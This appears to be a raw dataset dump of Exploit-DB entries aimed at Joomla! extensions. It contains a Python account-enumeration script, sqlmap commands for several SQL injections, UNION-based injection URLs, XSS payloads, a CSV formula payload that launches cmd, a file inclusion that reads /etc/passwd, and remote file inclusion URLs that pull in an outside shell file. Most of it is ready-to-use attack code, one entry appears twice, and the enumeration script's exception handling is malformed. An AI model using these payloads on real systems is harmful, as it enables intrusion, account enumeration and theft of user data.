deardaniel/secdata-raw huggingface dataset:
Exploit-DB #51595
Description: Joomla! com_booking component 2.4.9 - Information Leak (Account enumeration)
Type: webapps
Platform: php
Date: 2023-07-19
Author: qw3rTyTy

Exploit:
# Exploit Title: Joomla! com_booking component 2.4.9 - Information Leak (Account enumeration)
# Google Dork: inurl:"index.php?option=com_booking"
# Date: 07/12/2023
# Exploit Author: qw3rTyTy
# Vendor Homepage: http://www.artio.net/
# Software Link: http://www.artio.net/downloads/joomla/book-it/book-it-2-free/download
# Version: 2.4.9
# Tested on: Slackware/Nginx/Joomla! 3.10.11
#
##
# File: site/booking.php
#
# <?php
# [...]
#18 include_once (JPATH_COMPONENT_ADMINISTRATOR . DS . 'booking.php');
# [...]
#
# File: admin/booking.php
#
# <?php
# [...]
#104 if (class_exists(($classname = AImporter::controller()))) {
#105 $controller = new $classname();
#106 /* @var $controller JController */
#107 $controller->execute(JRequest::getVar('task'));
#108 $controller->redirect();
#109 }
# [...]
#
# File: admin/controllers/customer.php
#
# <?php
# [...]
#240 function getUserData() {
#241 $user = JFactory::getUser(JRequest::getInt('id'));
#242 $data = array('name' => $user->name, 'username' => $user->username, 'email' => $user->email);
#243 die(json_encode($data));
#244 }
# [...]
#
# A following GET request is equivalent to doing a query like 'SELECT name, username, email FROM abcde_users WHERE id=123'.
#
# curl -X GET http://target/joomla/index.php?option=com_booking&controller=customer&task=getUserData&id=123
#
# So, an attacker can easily enumerate all accounts by bruteforcing.
#
##
import argparse
import urllib.parse
import requests
from sys import exit
from time import sleep

def enumerateAccounts(options):
    i = 1
    url = options.url
    url = url + "/index.php?option=com_booking&controller=customer&task=getUserData&id="

    while True:
        try:
            response = requests.get("{}{}".format(url, str(i)))

            if response.status_code == 200:
                try:
                    jsondocument = response.json()
                    if jsondocument["name"] != None:
                        print(jsondocument)
                except requests.exceptions.JSONDecodeError:
                    raise
                else:
                    break
            except Exception as ex:
                print(ex)
                break

        i += 1

def main():
    p = argparse.ArgumentParser()
    p.add_argument("-u", "--url", type=str, required=True)
    parsed = p.parse_args()

    try:
        t = urllib.parse.urlparse(parsed.url)
    except ValueError as ex:
        print(ex)
        exit()

    if not t[0].startswith("http") and not t[0].startswith("https"):
        print("Improper URL given.")
        exit()

    if len(t[1]) == 0:
        print("Improper URL given.")
        exit()

    enumerateAccounts(parsed)

if __name__ == "__main__":
    main()
Exploit-DB #48242
Description: Joomla! com_hdwplayer 4.2 - 'search.php' SQL Injection
Type: webapps
Platform: php
Date: 2020-03-23
Author: qw3rTyTy

Exploit:
# Exploit Title: Joomla! com_hdwplayer 4.2 - 'search.php' SQL Injection
# Dork: inurl:"index.php?option=com_hdwplayer"
# Date: 2020-03-23
# Exploit Author: qw3rTyTy
# Vendor Homepage: https://www.hdwplayer.com/
# Software Link: https://www.hdwplayer.com/download/
# Version: 4.2
# Tested on: Debian/Nginx/Joomla! 3.9.11

##########################################################################
#Vulnerability details
##########################################################################
File: components/com_hdwplayer/models/search.php
Func: HdwplayerModelSearch::getsearch
Line: 33

    16	class HdwplayerModelSearch extends HdwplayerModel {
    ...snip...
    30		function getsearch() {
    31	        $db = JFactory::getDBO();	
    32			$search = JRequest::getVar('hdwplayersearch', '', 'post', 'string');		
    33		$query = "SELECT * FROM #__hdwplayer_videos WHERE published=1 AND (title LIKE '%$search%' OR category LIKE '%$search%' OR tags LIKE '%$search%')";		//!!!
    34	
    35	        $db->setQuery($query);
    36	        $output = $db->loadObjectList();		
    37	        return($output);
    38	    }
    39		
    40	}
    41	
    42	?>

##########################################################################
#PoC
##########################################################################
$> python ./sqlmap.py -u "http://127.0.0.1/joomla/index.php" --method=POST --random-agent --data "option=com_hdwplayer&view=search&hdwplayersearch=xxx" --level=5 --risk=3 --dbms=mysql -p hdwplayersearch
Exploit-DB #44447
Description: Joomla! Convert Forms version 2.0.3 - Formula Injection (CSV Injection)
Type: webapps
Platform: php
Date: 2018-04-12
Author: Sairam Jetty

Exploit:
# Exploit Title: Joomla Extension Convert Forms version 2.0.3 is vulnerable to Formula Injection (CSV Injection)
# Google Dork: N/A
# Date: 12-04-2018
################################
# Exploit Author: Jetty Sairam
################################
# Software Link: https://extensions.joomla.org/extensions/extension/contacts-and-feedback/forms/convert-forms/
# Affected Version: 2.03 and before
#Category: Plugins and Extensions
# Tested on: WiN7_x64
# CVE : CVE-2018-10063

1. Application Description:
Convert Forms provides a framework to build custom forms for Joomla users.
2. Technical Description:
Custom Forms version 2.0.3 is affected by the vulnerability Remote Command Execution using CSV Injection. This allows a public user to inject commands as a part of form fields and when a user with higher privilege exports the form data in CSV opens the file on their machine, the command is executed.
3. Proof Of Concept:
Enter the payload @SUM(1+1)*cmd|' /C calc'!A0 in the form fields and submit.
When high privileged user logs into the application to export form data in CSV and opens the file.
Formula gets executed and calculator will get popped in his machine.
4. Solution:
Upgrade to version 2.0.4
https://extensions.joomla.org/extensions/extension/contacts-and-feedback/forms/convert-forms/
5. Reference:
https://vel.joomla.org/resolved/2160-convert-forms-2-0-3-csv-injection
https://www.tassos.gr/blog/convert-forms-2-0-4-security-release
https://vel.joomla.org/articles/2140-introducing-csv-injection
Exploit-DB #10177
Description: Joomla! Extension iF Portfolio Nexus - SQL Injection
Type: webapps
Platform: php
Date: 2009-11-18
Author: 599eme Man

Exploit:
_00000__00000__00000__00000__0___0__00000____0___0___000___0___0_
_0______0___0__0___0__0______00_00__0________00_00__0___0__00_00_
_0000___00000__00000__00000__0_0_0__00000____0_0_0__0___0__0_0_0_
_____0______0______0__0______0___0__0________0___0__00000__0___0_
_0000___00000__00000__00000__0___0__00000____0___0__0___0__0___0_
_________________________________________________________________


# [+] Joomla Ext. iF Portfolio Nexus SQL injection
#
# [+] Author : 599eme Man
# [+] Contact : Flouf@live.fr
#
#[------------------------------------------------------------------------------------]
#
# [+] SQL
#
# http://server/portfolio?view=item&id=-100%20union%20all%20select%201,version%28%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28--
# http://server/portfolio?controller=sections&view=item&id=-71%20union%20all%20select%201,2,version%28%29,4,5,6,7,8,9,10,11,12,13,14,15,16,17--
#
# [+] Blind
#
# http://server/portfolio?controller=sections&view=item&id=71%20and%20substring%28@@version,1,1%29=5
# http://server/portfolio?view=item&id=100 and substring(@@version,1,1)=5
#
#[--------------------------------
Exploit-DB #9244
Description: Joomla! Extension UIajaxIM 1.1 - JavaScript Execution
Type: webapps
Platform: php
Date: 2009-07-24
Author: 599eme Man

Exploit:
_00000__00000__00000__00000__0___0__00000____0___0___000___0___0_
_0______0___0__0___0__0______00_00__0________00_00__0___0__00_00_
_0000___00000__00000__00000__0_0_0__00000____0_0_0__0___0__0_0_0_
_____0______0______0__0______0___0__0________0___0__00000__0___0_
_0000___00000__00000__00000__0___0__00000____0___0__0___0__0___0_
_________________________________________________________________



# [+] Joomla Extension UIajaxIM 1.1 Javascript Execution
# [+] Software : Joomla
# [+] Author : 599eme Man
# [+] Contact : Flouf@live.fr
# [+] Thanks : Moudi, Neocoderz, Sheiry, Shimik Root aka Str0zen, Pr0H4ck3rz, Staker, Security-shell...
# [+] Special Thanks : Moudi Aka SixSo  brozazaaaaaaaaa
# [+] Download : http://extensions.joomla.org/extensions/communication/chat/9075/details
#
#[------------------------------------------------------------------------------------]
# 
# [+] Vulnerability
#
#	[+] Javascript Execution
#
#		- Go in : http://www.site.com/ajaxim/, regist you and connect. Join a channel and in the input write : 'r"'><script>alert('xss')</script> (or any javascript after the 'r"'>) and press enter : the javascript is executed.
#		- Click on IM anyone and write in the input : 'r"'><script>alert('xss')</script> (or any javascript after the 'r"'>) and press enter : the javascript is executed
#
#			[+] Demo
#
#				- http://demo.universal-informatique.com/ajaxim/
#
#[------------------------------------------------------------------------------------]
#
#########################################################################################################

# milw0rm.com [2009-07-24]
Exploit-DB #48648
Description: Joomla! J2 JOBS 1.3.0 - 'sortby' Authenticated SQL Injection
Type: webapps
Platform: php
Date: 2020-07-07
Author: Mehmet Kelepçe

Exploit:
# Exploit Title: Joomla! J2 JOBS 1.3.0 - 'sortby' Authenticated SQL Injection
# Date: 2020-06-17
# Exploit Author: Mehmet Kelepçe / Gais Cyber Security
# Vendor Homepage: https://joomsky.com/
# Software Link: https://joomsky.com/products/js-jobs-pro.html
# Change Log (Update) : https://joomsky.com/products/js-jobs.html
# Version: 1.3.0
# Tested on: Kali Linux - Apache2

Vulnerable param: sortby
-------------------------------------------------------------------------
POST /joomla/administrator/index.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/joomla/administrator/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 233
Connection: close
Cookie: COOKIES
Upgrade-Insecure-Requests: 1

js_sortby=4&companyname=12&jobtitle=12&location=12&jobcategory=&jobtype=&datefrom=&dateto=&option=com_jsjobs&task=&c=job&view=job&callfrom=jobqueue&layout=jobqueue&sortby=asc&my_click=&boxchecked=0&d90ced5aa929447644f09b56c8d8ba12=1


-------------------------------------------------------------------------
sqlmap poc:

sqlmap -r jsjobs --dbs --risk=3 --level=5 --random-agent -p sortby
Exploit-DB #48670
Description: Joomla! J2 JOBS 1.3.0 - 'sortby' Authenticated SQL Injection
Type: webapps
Platform: php
Date: 2020-07-15
Author: Mehmet Kelepçe

Exploit:
# Exploit Title: Joomla! J2 JOBS 1.3.0 - 'sortby' Authenticated SQL Injection
# Date: 2020-06-17
# Exploit Author: Mehmet Kelepçe / Gais Cyber Security
# Vendor Homepage: https://joomsky.com/
# Software Link: https://joomsky.com/products/js-jobs-pro.html
# Change Log (Update) : https://joomsky.com/products/js-jobs.html
# Version: 1.3.0
# Tested on: Kali Linux - Apache2

Vulnerable param: sortby
-------------------------------------------------------------------------
POST /joomla/administrator/index.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/joomla/administrator/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 233
Connection: close
Cookie: COOKIES
Upgrade-Insecure-Requests: 1

js_sortby=4&companyname=12&jobtitle=12&location=12&jobcategory=&jobtype=&datefrom=&dateto=&option=com_jsjobs&task=&c=job&view=job&callfrom=jobqueue&layout=jobqueue&sortby=asc&my_click=&boxchecked=0&d90ced5aa929447644f09b56c8d8ba12=1


-------------------------------------------------------------------------
sqlmap poc:

sqlmap -r jsjobs --dbs --risk=3 --level=5 --random-agent -p sortby


Mehmet KELEPÇE

Penetration Tester | Red Team
Exploit-DB #48572
Description: Joomla! J2 Store 3.3.11 - 'filter_order_Dir' Authenticated SQL Injection
Type: webapps
Platform: php
Date: 2020-06-10
Author: Mehmet Kelepçe

Exploit:
# Exploit Title: Joomla J2 Store 3.3.11 - 'filter_order_Dir'  SQL Injection (Authenticated)
# Date: 2020-04-17
# Exploit Author: Mehmet Kelepçe / Gais Cyber Security
# Vendor Homepage: https://www.j2store.org/
# Software Link: https://www.j2store.org/download.html
# Reference: https://www.j2store.org/download-j2store/j2store-v3-3-3-13.html
# Change Log: https://www.j2store.org/download-j2store/j2store-v3-3-3-13.html
# Version: 3.3.11
# Tested on: Kali Linux - Apache2
--------------------------------------------------------------------------------
Detail:
--------------------------------------------------------------------------------
File: administrator/components/com_j2store/models/products.php
Vulnerable parameter: filter_order_Dir, filter_order

PoC:
Request:
--------------------------------------------------------------------------------
POST /joomla/administrator/index.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/joomla/administrator/index.php?option=com_j2store&view=products
Content-Type: application/x-www-form-urlencoded
Content-Length: 312
Connection: close
Cookie: [COOIKE]
Upgrade-Insecure-Requests: 1

option=com_j2store&view=products&task=browse&boxchecked=0&filter_order=[SQLi]&filter_order_Dir=[SQLi]&2d42ab72d5c2716881de5d802d08ca7f=1&search=1&product_type=0&limit=20&since=&until=&productid_from=&productid_to=&pricefrom=&priceto=&sku=&manufacturer_id=&vendor_id=&taxprofile_id=&visible=&limitstart=0
--------------------------------------------------------------------------------



sqlmap -r sqli --dbs --risk=3 --level=5 --random-agent -p filter_order_Dir

--------------------------------------------------------------------------------
Exploit-DB #48811
Description: Joomla! paGO Commerce 2.5.9.0 - SQL Injection (Authenticated)
Type: webapps
Platform: php
Date: 2020-09-14
Author: Mehmet Kelepçe

Exploit:
# Exploit Title: Joomla! paGO Commerce 2.5.9.0 - SQL Injection (Authenticated)
# Date: 2020-08-21
# Exploit Author: Mehmet Kelepçe / Gais Cyber Security
# Author ID: 8763
# Vendor Homepage: https://www.corephp.com/
# Software Link: https://www.corephp.com/joomla-products/pago-commerce
# Version: 2.5.9.0
# Tested on: Apache2

Vulnerable param: filter_published
-------------------------------------------------------------------------
POST /joomla/administrator/index.php?option=com_pago&view=comments HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 163
Origin: http://localhost
Connection: close
Referer: http://localhost/joomla/administrator/index.php?option=com_pago&view=comments
Cookie: 4bde113dfc9bf88a13de3b5b9eabe495=sp6rp5mqnihh2i323r57cvesoe; crisp-client%2Fsession%2F0ac26dbb-4c2f-490e-88b2-7292834ac0e9=session_a9697dd7-152d-4b1f-a324-3add3619b1e1
Upgrade-Insecure-Requests: 1

filter_search=&limit=10&filter_published=1&task=&controller=comments&boxchecked=0&filter_order=id&filter_order_Dir=desc&5a672ab408523f68032b7bdcd7d4bb5c=1

-------------------------------------------------------------------------
sqlmap poc:

sqlmap -r pago --dbs --risk=3 --level=5 --random-agent -p filter_published


[Gais Security]<https://www.gaissecurity.com>
[Gais Security]
[Gais Security]

Mehmet KELEPÇE

Penetration Tester | Red Team
Exploit-DB #44131
Description: Joomla! Pinterest Clone Social Pinboard 2.0 - SQL Injection
Type: webapps
Platform: php
Date: 2018-02-16
Author: Ihsan Sencan

Exploit:
# # # # 
# Exploit Title: Joomla! Pinterest Clone Social Pinboard 2.0 - SQL Injection
# Dork: N/A
# Date: 16.02.2018
# Vendor Homepage: https://www.apptha.com/
# Software Link: https://www.apptha.com/joomla/social-pinboard-script
# Version: 2.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-5987
# # # #
# Exploit Author: Ihsan Sencan 
# # # #
# 
# POC:
# 
# 1)
# http://localhost/[PATH]/index.php?option=com_socialpinboard&view=ajaxcontrol&tmpl=component&task=getlikeinfo&pin_id=[SQL]&user_id=[SQL]
# 
# 2)
# http://localhost/[PATH]/index.php?option=com_socialpinboard&view=gift&starts=100&ends=[SQL]
# 
# 3)
# http://localhost/[PATH]/index.php?option=com_socialpinboard&view=home&category=[SQL]
# 
# 4)
# http://localhost/[PATH]/index.php?option=com_socialpinboard&view=pindisplay&uid=[SQL]
# 
# 5)
# http://localhost/[PATH]/index.php?option=com_socialpinboard&view=search&serachVal=[SQL]
# 
# 6)
# http://localhost/[PATH]/index.php?option=com_socialpinboard&view=likes&uid=[SQL]
# 
# MTczODMgQU5EIChTRUxFQ1QgOTI2OCBGUk9NKFNFTEVDVCBDT1VOVCgqKSxDT05DQVQodmVyc2lvbigpLChTRUxFQ1QgKEVMVCg5MjY4PTkyNjgsMSkpKSwweDc4Nzg3ODc4Nzg3ODc4Nzg3ODc4Nzg3ODc4Nzg3ODc4Nzg3ODc4Nzg3ODc4Nzg3ODc4Nzg3ODc4Nzg3ODc4Nzg3ODc4Nzg3ODc4Nzg3ODc4Nzg3ODc4Nzg3OCxGTE9PUihSQU5EKDApKjIpKXggRlJPTSBJTkZPUk1BVElPTl9TQ0hFTUEuUExVR0lOUyBHUk9VUCBCWSB4KWEp
# 
# # # #
Exploit-DB #37083
Description: Joomla! Plugin Beatz 1.1 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2012-04-16
Author: Aung Khant

Exploit:
source: https://www.securityfocus.com/bid/53030/info

Joomla! Beatz Plugin is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker could leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/beatz/?option=com_content&view=frontpage&limitstart=5&%2522%253e%253c%2573%2563%2572%2569%2570%2574%253e%2561%256c%2565%2572%2574%2528%2f%2558%2553%2553%2f%2529%253c%2f%2573%2563%2572%2569%2570%2574%253e=1

http://www.example.com/beatz/index.php?option=com_charts&view=charts&Itemid=76&chartkeyword=Acoustic&do=all%22%20style%3dbackground-image:url('javascript:alert(/XSS/)');width:1000px;height:1000px;display:block;"%20x=%22&option=com_charts

http://www.example.com/beatz/index.php?do=listAll&keyword=++Search";><img+src=0+onerror=prompt(/XSS/)>&option=com_find

http://www.example.com/beatz/index.php?option=com_videos&view=videos&Itemid=59&video_keyword="+style="width:1000px;height:1000px;position:absolute;left:0;top:0"+onmouseover="alert(/xss/)&search=Search
Exploit-DB #11498
Description: Joomla! Plugin Core Design Scriptegrator - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-02-18
Author: S2 Crew

Exploit:
# Exploit Title: Core Design Scriptegrator plugin for Joomla! 1.5 file inclusion
# Author: S2 Crew [Hungary]
# Tested on: Debian Linux, Apache, Joomla! 1.5

# Code:

There's a file called jsloader.php which takes an array of file names
from the HTTP GET parameters and calls include() on every one of them.

-----------------8<-----------------------------------------------
<?php
/**
 * Core Design Scriptegrator plugin for Joomla! 1.5
 */

define('DS', DIRECTORY_SEPARATOR);
$dir = dirname(__FILE__);

$files = array();
if (isset($_GET['files']) && $_GET['files']) $files = $_GET['files'];

if (extension_loaded('zlib') && !ini_get('zlib.output_compression')) @ob_start('ob_gzhandler');

header("Content-type: application/x-javascript");
header('Cache-Control: must-revalidate');
header('Expires: ' . gmdate('D, d M Y H:i:s', time() + 86400) . ' GMT');

foreach ($files as $file) {
        if (is_file($file)) {
                include($file);
                echo "\n";
        }
}
?>
-----------------8<-----------------------------------------------

The problem is that the only protection is the is_file() call (therefore it cannot
be used for remote file inclusion), so it's trivial to exploit this vulnerability to
execute the PHP interpreter on any file on the target system the httpd user can read.

Example:
http://server/plugins/system/cdscriptegrator/libraries/highslide/js/jsloader.php?files[]=/etc/passwd
Exploit-DB #28295
Description: Joomla! Plugin JD-WordPress 2.0-1.0 RC2 - 'wp-comments-post.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-28
Author: Drago84

Exploit:
source: https://www.securityfocus.com/bid/19209/info

JD-WordPress for Joomla is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and to gain access to the underlying system.

Version 2.0-1.0 RC2 is vulnerable to these issues; prior versions may also be affected.

http://web/components/com_jd-wp/wp-comments-post.php?mosConfig_absolute_path=http://shell.txt
Exploit-DB #28296
Description: Joomla! Plugin JD-WordPress 2.0-1.0 RC2 - 'wp-feed.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-28
Author: Drago84

Exploit:
source: https://www.securityfocus.com/bid/19209/info
 
JD-WordPress for Joomla is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and to gain access to the underlying system.
 
Version 2.0-1.0 RC2 is vulnerable to these issues; prior versions may also be affected.

http://web/components/com_jd-wp/wp-feed.php?mosConfig_absolute_path=http://shell.txt
Exploit-DB #28297
Description: Joomla! Plugin JD-WordPress 2.0-1.0 RC2 - 'wp-trackback.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-28
Author: Drago84

Exploit:
source: https://www.securityfocus.com/bid/19209/info
  
JD-WordPress for Joomla is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and to gain access to the underlying system.
  
Version 2.0-1.0 RC2 is vulnerable to these issues; prior versions may also be affected.

http://web/components/com_jd-wp/wp-trackback.php?mosConfig_absolute_path=http://shell.txt